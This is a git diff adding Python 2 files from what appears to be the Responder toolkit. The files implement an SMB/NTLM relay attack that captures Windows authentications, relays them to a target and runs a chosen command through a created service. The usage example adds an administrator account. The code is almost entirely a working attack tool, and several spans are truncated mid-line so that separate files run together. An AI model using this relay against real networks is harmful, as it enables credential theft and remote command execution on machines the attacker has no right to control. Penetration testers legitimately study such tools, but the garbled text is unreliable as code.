diff --git a/FingerprintRelay.py b/FingerprintRelay.py
new file mode 100644
index 0000000..c16b9ce
--- /dev/null
+++ b/FingerprintRelay.py
@@ -0,0 +1,132 @@
+#! /usr/bin/env python
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2013 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import re,socket,struct
+from socket import *
+from odict import OrderedDict
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x00"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x00\x00"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNego(Packet):
+ fields = OrderedDict([
+ ("wordcount", "\x00"),
+ ("bcc", "\x62\x00"),
+ ("data", "")
+ ])
+
+ def calculate(self):
+ self.fields["bcc"] = struct.pack(".
+import struct
+from odict import OrderedDict
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+##################################################################################
+#SMB Client Stuff
+##################################################################################
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x00"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x00\x4e"),
+ ("uid", "\x00\x08"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNego(Packet):
+ fields = OrderedDict([
+ ("Wordcount", "\x00"),
+ ("Bcc", "\x62\x00"),
+ ("Data", "")
+ ])
+
+ def calculate(self):
+ self.fields["Bcc"] = struct.pack("i", len(''.join(payload)))
+ return length
+
+#Set MID SMB Header field.
+def midcalc(data):
+ pack=data[34:36]
+ return pack
+
+#Set UID SMB Header field.
+def uidcalc(data):
+ pack=data[32:34]
+ return pack
+
+#Set PID SMB Header field.
+def pidcalc(data):
+ pack=data[30:32]
+ return pack
+
+#Set TID SMB Header field.
+def tidcalc(data):
+ pack=data[28:30]
+ return pack
+
+#SMB Header answer packet.
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("errorcode", "\x00\x00\x00\x00" ),
+ ("flag1", "\x80"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\xff\xfe"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+#SMB Negotiate Answer packet.
+class SMBNegoAns(Packet):
+ fields = OrderedDict([
+ ("Wordcount", "\x11"),
+ ("Dialect", ""),
+ ("Securitymode", "\x03"),
+ ("MaxMpx", "\x32\x00"),
+ ("MaxVc", "\x01\x00"),
+ ("Maxbuffsize", "\x04\x11\x00\x00"),
+ ("Maxrawbuff", "\x00\x00\x01\x00"),
+ ("Sessionkey", "\x00\x00\x00\x00"),
+ ("Capabilities", "\xfc\x3e\x01\x00"),
+ ("Systemtime", "\x32\x19\xee\xd8\x33\xd6\xcd\x01\x6c\xfd"),
+ ("Keylength", "\x08"),
+ ("Bcc", "\x10\x00"),
+ ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
+ ("Domain", "TOOLKIT"),
+ ("DomainNull", "\x00\x00"),
+ ("Server", "SMBTOOLKIT"),
+ ("ServerNull", "\x00\x00"),
+ ])
+
+ def calculate(self):
+ ##Convert first..
+ self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
+ self.fields["Server"] = self.fields["Server"].encode('utf-16le')
+ ##Then calculate.
+ CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
+ self.fields["Bcc"] = struct.pack(".
+import sys, os, struct,re,socket,random, RelayPackets,optparse,ConfigParser, thread
+from FingerprintRelay import RunSmbFinger
+from odict import OrderedDict
+from socket import *
+from RelayPackets import *
+
+def UserCallBack(op, value, dmy, parser):
+ args=[]
+ for arg in parser.rargs:
+ if arg[0] != "-":
+ args.append(arg)
+ if getattr(parser.values, op.dest):
+ args.extend(getattr(parser.values, op.dest))
+ setattr(parser.values, op.dest, args)
+
+parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -r ",
+ prog=sys.argv[0],
+ )
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+
+parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
+
+parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
+
+parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials.",metavar="WORKGROUP",dest="Domain")
+
+parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
+
+options, args = parser.parse_args()
+
+if options.CMD is None:
+ print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
+ parser.print_help()
+ exit(-1)
+
+if options.TARGET is None:
+ print "\n-t mandatory option is missing, please provide a target.\n"
+ parser.print_help()
+ exit(-1)
+
+if options.UserToRelay is None:
+ print "\n-u mandatory option is missing, please provide a username to relay.\n"
+ parser.print_help()
+ exit(-1)
+
+ResponderPATH = os.path.dirname(__file__)
+# Set some vars.
+UserToRelay = options.UserToRelay
+Domain = options.Domain
+Command = options.CMD
+Target = options.TARGET
+OURIP = options.OURIP
+
+print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
+print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
+print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+#Logger
+import logging
+Logs = logging
+Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
+
+#Function used to verify if a previous auth attempt was made.
+def ReadData(outfile,Client, User, cmd=None):
+ try:
+ with open(ResponderPATH+outfile,"r") as filestr:
+ if cmd == None:
+ String = Client+':'+User
+ if re.search(String.encode('hex'), filestr.read().encode('hex')):
+ filestr.close()
+ return True
+ else:
+ return False
+ if cmd != None:
+ String = Client+","+User+","+cmd
+ if re.search(String.encode('hex'), filestr.read().encode('hex')):
+ filestr.close()
+ print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
+ return True
+ else:
+ return False
+
+ except:
+ raise
+
+#Function used to parse SMB NTLMv1/v2
+def ParseHash(data,Client, Target):
+ try:
+ lenght = struct.unpack('=Windows Vista"
+ Logs.info(CLIENTIP+":"+Username)
+ ## NtCreateAndx
+ if data[8:10] == "\x73\x00":
+ print "[+] Authenticated, trying to PSexec on target !"
+ head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBNTCreateData()
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## Fail Handling.
+ if data[8:10] == "\xa2\x22":
+ print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
+ ## DCE/RPC Write.
+ if data[8:10] == "\xa2\x00":
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ x = SMBDCEData()
+ x.calculate()
+ f = data[42:44]
+ t = SMBWriteData(FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLOpenManagerW.
+ if data[8:10] == "\x2e\x00":
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
+ w.calculate()
+ x = SMBDCEPacketData(Data=w)
+ x.calculate()
+ t = SMBWriteData(FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLCreateService.
+ if data[8:10] == "\x2e\x00":
+ if data[len(data)-4:] == "\x05\x00\x00\x00":
+ print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
+ print "[+] Creating service"
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ ContextHandler = data[88:108]
+ ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
+ ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
+ FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
+ w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
+ w.calculate()
+ x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
+ x.calculate()
+ t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLOpenService.
+ if data[8:10] == "\x2e\x00":
+ if data[len(data)-4:] == "\x05\x00\x00\x00":
+ print "[+] Failed to create the service"
+
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
+ w.calculate()
+ x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
+ x.calculate()
+ t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLStartService.
+ if data[8:10] == "\x2e\x00":
+ if data[len(data)-4:] == "\x05\x00\x00\x00":
+ print "[+] Failed to open the service"
+ ContextHandler = data[88:108]
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
+ x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
+ x.calculate()
+ t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ if data[8:10] == "\x2e\x00":
+ print "[+] Command successful !"
+ Logs.info('Command successful:')
+ Logs.info(Target+","+Username+','+CMD)
+ return True
+ if data[8:10] != "\x2e\x00":
+ return False
+
+def RunInloop(Target,Command,Domain):
+ try:
+ while True:
+ worker = RunRelay(Target,Command,Domain)
+ except:
+ raise
+
+
+def main():
+ try:
+ thread.start_new(RunInloop,(Target,Command,Domain))
+ except KeyboardInterrupt:
+ exit()
+
+if __name__ == '__main__':
+ try:
+ main()
+ except KeyboardInterrupt:
+ raise
+ raw_input()
+